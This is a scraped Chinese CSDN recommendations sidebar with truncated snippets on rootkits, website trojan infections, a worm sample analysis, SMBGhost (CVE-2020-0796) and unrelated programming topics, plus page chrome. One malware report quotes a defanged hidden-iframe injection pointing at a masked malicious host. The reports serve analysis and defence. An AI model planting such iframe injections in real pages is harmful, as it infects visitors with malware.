总的来说，“RootKit.rar_行业发展研究_Visual_C++”这个资料可能会深入讨论rootkit如何利用Visual C++在Windows环境中进行开发，包括如何绕过安全防护，以及如何设计高效而隐蔽的恶意软件。同时，它也可能探讨了...
rootkit.com.cn的内部壳.rar
10-26
【标题】：“rootkit.com.cn的内部壳.rar”是一个压缩包文件，主要包含了一个名为“内部壳.exe”的可执行程序。这个标题暗示了这个压缩包可能与Rootkit技术有关，Rootkit是一种高级的恶意软件技术，它允许攻击者在...
python中if brthon环境安装包_Python实现base64编码的图片保存到本地功能示例
热门推荐
weixin_39722375的博客
12-01 3万+
本文实例讲述了Python实现base64编码的图片保存到本地功能。分享给大家供大家参考，具体如下：# -*- coding:utf-8 -*-#!python3import osimport base64sss ="""/9j/4AAQSkZJRgABAQEASABIAAD//gAyUHJvY2Vzc2VkIEJ5IGVCYXkgd2l0aCBJbWFnZU1hZ2ljaywgejEuMS4wL...
广西某邦农业股份有限公司网站被挂马Trojan.PSW.Win32.QQPass.qpr
Purpleendurer@CSDN
11-06 2026
广西某邦农业股份有限公司网站被挂马Trojan-PSW.Win32.QQPass.ahe / Trojan.PSW.Win32.QQPass.qprendurer 原创2007-11-06 第1版打开该公司网站时，Kaspersky 报告：/---已检测到: 木马程序 Trojan-Downloader.VBS.Small.ca URL: hxxp://user**.free***2.7*
logogo.exe威金变种病毒
weixin_34143774的博客
09-08 220
前段时间公司电脑中了logogo.exe这个病毒，在网上搜索一下，得知是8.31号新出来的病毒，还没有任何有效的专杀，看来只能手动杀了。 先用360扫描，扫描出一些***包括wlhpri.dll，qhbpri.dll等等***，这些***在system32目录下面也能找到，但是用360杀不掉。 本来因为比较懒，所以不想到安全模式下删了，...
PE文件附加数据感染之Worm.Win32.Agent.ayd病毒分析
Fly20141201. 的专栏
04-16 2040
一、基本信息 样本名称：1q8JRgwDeGMofs.exe病毒名称：Worm.Win32.Agent.ayd文件大小：165384 字节文件MD5：7EF5D0028997CB7DD3484A7FBDE071C2 文件SHA1：DA70DDC64F517A88F42E1021C79D689A76B9332D 二、分析样本使用的工具 IDA5.5OnlyDebugRadAS
MASM32编程通过WMI获取BIOS、主板、硬盘、CPU、网卡的信息
caobihole
10-21 195
　　通过WMI获取BIOS、主板、硬盘、CPU、网卡等电脑硬件信息，常见的源代码是高级程序设计语言如C++、Dephi，或者VBScript脚本编写的，用MASM32编程来实现相对来说要难得多，知难而上，不亦乐乎！ ;<<<<<<<<<<<<<<<<<&l
利用迅雷和MS06014漏洞传播Worm.Win32.Agent.a的电子书网站
Purpleendurer@CSDN
06-29 1655
endurer 原创2007-06-29 第1版浏览该网站时，Kaspersky报告：恶意脚本: 拒绝访问。检查该网页，发现代码：/---＜iframe src=hxxp://x*x*.k*o*5***1.com/index.htm width=50 height=0＞＜/iframe＞---/hxxp://x*x*.k*o*5***1.com/index.htm　包含代码：/---＜
cve-2020-0796_SMBGhost：微软SMBv3远程代码执行漏洞分析（CVE20200796）
weixin_39754411的博客
11-23 694
漏洞描述3月11日，微软发布了针对115个CVE漏洞的补丁更新，其中最引人关注的是一个针对Smb服务器/客户端的一个内存破坏漏洞，CVE编号为CVE-2020-0796，成功利用此漏洞的攻击者可以在目标SMB服务器或SMB客户端上执行任意代码，此漏洞属于严重危害的零接触蠕虫级远程代码执行漏洞，此漏洞也被称为SMBGhost或“Coronablue。3月12日，微软正式发布漏洞通告和相关...
Android系统核心机制之APP启动的程序入口ActivityThread的简单介绍
啃黄瓜的蜗牛
07-04 864
× Android中为什么主线程不会因为Looper.loop()里的死循环阻塞？ 圣光忏悔 关注 ...
贪狼Rootkit怎么利用
最新发布
05-24
如果你想利用贪狼Rootkit，这是不道德和非法的。任何未经授权的计算机入侵都是违法行为，可能导致严重的法律后果。因此，请不要尝试使用贪狼Rootkit或任何其他恶意软件进行攻击或犯罪活动。 如果你是安全专家或研究...

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

紫郢剑侠

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值